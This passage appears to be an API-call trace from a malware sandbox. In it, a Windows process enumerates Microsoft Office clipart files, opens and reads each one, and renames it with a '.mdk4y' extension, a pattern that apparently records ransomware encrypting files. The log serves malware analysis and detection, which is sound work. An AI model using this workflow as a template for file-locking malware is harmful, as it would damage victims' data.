dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.440] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820467000000) returned 1 [0129.440] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1e7c, lpOverlapped=0x0) returned 1 [0129.450] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820468000000) returned 1 [0129.451] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820468100000) returned 1 [0129.451] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.mdk4y")) returned 1 [0129.451] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.451] AreFileApisANSI () returned 1 [0129.451] GetACP () returned 0x4e4 [0129.451] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN04267_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN04267_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.452] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.452] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820468200000) returned 1 [0129.452] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1e7c, lpOverlapped=0x0) returned 1 [0129.459] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820468900000) returned 1 [0129.459] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820468900000) returned 1 [0129.460] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.mdk4y")) returned 1 [0129.460] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.491] AreFileApisANSI () returned 1 [0129.491] GetACP () returned 0x4e4 [0129.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN04269_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN04269_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.492] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.492] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820472200000) returned 1 [0129.492] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7e0, lpOverlapped=0x0) returned 1 [0129.495] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820472600000) returned 1 [0129.496] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820472600000) returned 1 [0129.496] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.mdk4y")) returned 1 [0129.497] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.497] AreFileApisANSI () returned 1 [0129.497] GetACP () returned 0x4e4 [0129.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN04323_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN04323_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.497] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820472800000) returned 1 [0129.498] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9bc, lpOverlapped=0x0) returned 1 [0129.570] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820480000000) returned 1 [0129.570] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820480000000) returned 1 [0129.570] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.mdk4y")) returned 1 [0129.571] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.571] AreFileApisANSI () returned 1 [0129.571] GetACP () returned 0x4e4 [0129.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN04326_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN04326_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.571] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.572] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820480200000) returned 1 [0129.572] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd14, lpOverlapped=0x0) returned 1 [0129.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820487300000) returned 1 [0129.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820487300000) returned 1 [0129.643] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.mdk4y")) returned 1 [0129.644] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.644] AreFileApisANSI () returned 1 [0129.644] GetACP () returned 0x4e4 [0129.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN04332_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN04332_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.644] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820487500000) returned 1 [0129.645] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x10c8, lpOverlapped=0x0) returned 1 [0129.714] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820494400000) returned 1 [0129.715] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820494400000) returned 1 [0129.715] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.mdk4y")) returned 1 [0129.715] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.715] AreFileApisANSI () returned 1 [0129.716] GetACP () returned 0x4e4 [0129.716] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN04355_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN04355_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.716] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.716] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820494600000) returned 1 [0129.716] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc9c, lpOverlapped=0x0) returned 1 [0129.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820494700000) returned 1 [0129.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820494700000) returned 1 [0129.718] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.mdk4y")) returned 1 [0129.718] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.718] AreFileApisANSI () returned 1 [0129.718] GetACP () returned 0x4e4 [0129.718] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN04369_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN04369_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.718] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.718] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820494800000) returned 1 [0129.719] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x12c8, lpOverlapped=0x0) returned 1 [0129.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820496500000) returned 1 [0129.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820496500000) returned 1 [0129.735] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.mdk4y")) returned 1 [0129.736] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.736] AreFileApisANSI () returned 1 [0129.736] GetACP () returned 0x4e4 [0129.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN04384_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN04384_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.736] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.736] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820496600000) returned 1 [0129.737] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1384, lpOverlapped=0x0) returned 1 [0129.761] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820499100000) returned 1 [0129.761] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820499100000) returned 1 [0129.761] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04384_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04384_.wmf.mdk4y")) returned 1 [0129.762] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.762] AreFileApisANSI () returned 1 [0129.762] GetACP () returned 0x4e4 [0129.762] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AN04385_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="AN04385_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.762] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.763] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820499300000) returned 1 [0129.763] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x138c, lpOverlapped=0x0) returned 1 [0129.806] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820503600000) returned 1 [0129.806] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820503600000) returned 1 [0129.806] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.mdk4y")) returned 1 [0129.807] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.807] AreFileApisANSI () returned 1 [0129.807] GetACP () returned 0x4e4 [0129.807] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BABY_01.MID", cchWideChar=11, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BABY_01.MIDF", lpUsedDefaultChar=0x37df4c) returned 11 [0129.807] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.807] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820503700000) returned 1 [0129.807] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1cd8, lpOverlapped=0x0) returned 1 [0129.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820507200000) returned 1 [0129.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820507200000) returned 1 [0129.843] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BABY_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\baby_01.mid.mdk4y")) returned 1 [0129.844] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.844] AreFileApisANSI () returned 1 [0129.844] GetACP () returned 0x4e4 [0129.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD00116_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD00116_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.844] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.845] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820507500000) returned 1 [0129.845] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1306, lpOverlapped=0x0) returned 1 [0129.880] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820511000000) returned 1 [0129.880] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820511000000) returned 1 [0129.880] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf.mdk4y")) returned 1 [0129.881] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.881] AreFileApisANSI () returned 1 [0129.881] GetACP () returned 0x4e4 [0129.881] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD00141_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD00141_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.881] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.882] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820511200000) returned 1 [0129.882] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x6906, lpOverlapped=0x0) returned 1 [0129.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820516300000) returned 1 [0129.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820516300000) returned 1 [0129.933] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf.mdk4y")) returned 1 [0129.934] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.934] AreFileApisANSI () returned 1 [0129.934] GetACP () returned 0x4e4 [0129.934] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD00146_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD00146_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.934] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.935] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820516500000) returned 1 [0129.935] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7114, lpOverlapped=0x0) returned 1 [0129.944] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820517400000) returned 1 [0129.944] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820517400000) returned 1 [0129.945] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.mdk4y")) returned 1 [0129.945] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0129.945] AreFileApisANSI () returned 1 [0129.945] GetACP () returned 0x4e4 [0129.945] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD00155_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="BD00155_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0129.945] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0129.946] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820517600000) returned 1 [0129.946] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, 